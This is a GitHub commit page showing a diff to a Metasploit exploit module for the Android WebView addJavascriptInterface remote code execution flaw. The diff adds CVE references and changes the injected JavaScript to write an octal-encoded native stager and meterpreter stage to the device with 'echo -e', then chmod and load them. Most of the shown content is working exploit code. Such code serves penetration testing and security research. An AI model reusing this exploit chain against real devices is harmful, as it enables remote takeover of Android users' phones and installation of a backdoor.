Skip to content

Commit 8920e0c

Browse files
committed
Use octal encoding and -e, so that echo always works.
1 parent fc84133 commit 8920e0c

File tree

1 file changed

+9
-20
lines changed

1 file changed

+9
-20
lines changed

modules/exploits/android/browser/webview_addjavascriptinterface.rb

Lines changed: 9 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -69,7 +69,11 @@ def initialize(info = {})
6969
['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
7070
['URL', 'http://50.56.33.56/blog/?p=314'],
7171
['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
72-
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py']
72+
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],
73+
['CVE', '2012-6636'], # original CVE for addJavascriptInterface
74+
['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)
75+
['EDB', '31519'],
76+
['OSVDB', '97520']
7377
],
7478
'Platform' => 'android',
7579
'Arch' => ARCH_DALVIK,
@@ -89,8 +93,6 @@ def initialize(info = {})
8993
def on_request_uri(cli, req)
9094
if req.uri =~ /\.js/
9195
serve_static_js(cli, req)
92-
elsif req.uri =~ /\.msg/ && req.body.to_s.length < 100
93-
print_warning "Received message: #{req.body}"
9496
else
9597
super
9698
end
@@ -139,28 +141,15 @@ def js(arch)
139141
.getMethod('getRuntime', null)
140142
.invoke(null, null);
141143
142-
// now ensure we can write out a hex-encoded byte with the shell's echo builtin
143-
var byte = exec(runtime, ['/system/bin/sh', '-c', 'echo "\\\\x66"']);
144-
if (byte.indexOf("\\\\") > -1) {
145-
// if youre havin byte problems
146-
var xml = new XMLHttpRequest();
147-
// i feel bad for you son
148-
xml.open('POST', '#{get_module_resource}.msg', false);
149-
// i got \\x63 problems
150-
xml.send("Unsupported shell echo builtin: exploit aborted.");
151-
// but your shell aint one
152-
return true;
153-
}
154-
155144
// libraryData contains the bytes for a native shared object built via NDK
156145
// which will load the "stage", which in this case is our android meterpreter stager.
157146
// LibraryData is loaded via ajax later, because we have to access javascript in
158147
// order to detect what arch we are running.
159-
var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename, arch), '\\\\x')}";
148+
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
160149
161150
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
162151
// another stager which loads android meterpreter from the msf handler.
163-
var stageData = "#{Rex::Text.to_hex(payload.raw, '\\\\x')}";
152+
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
164153
165154
// get the process name, which will give us our data path
166155
// $PPID does not seem to work on android 4.0, so we concat pids manually
@@ -170,11 +159,11 @@ def js(arch)
170159
var stagePath = path + '/#{stagename}.apk';
171160
172161
// build the library and chmod it
173-
runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor();
162+
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
174163
runtime.exec(['chmod', '700', libraryPath]).waitFor();
175164
176165
// build the stage, chmod it, and load it
177-
runtime.exec(['/system/bin/sh', '-c', 'echo "'+stageData+'" > '+stagePath]).waitFor();
166+
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
178167
runtime.exec(['chmod', '700', stagePath]).waitFor();
179168
180169
// load the library (this fails in x86, figure out why)

0 commit comments

Comments
 (0)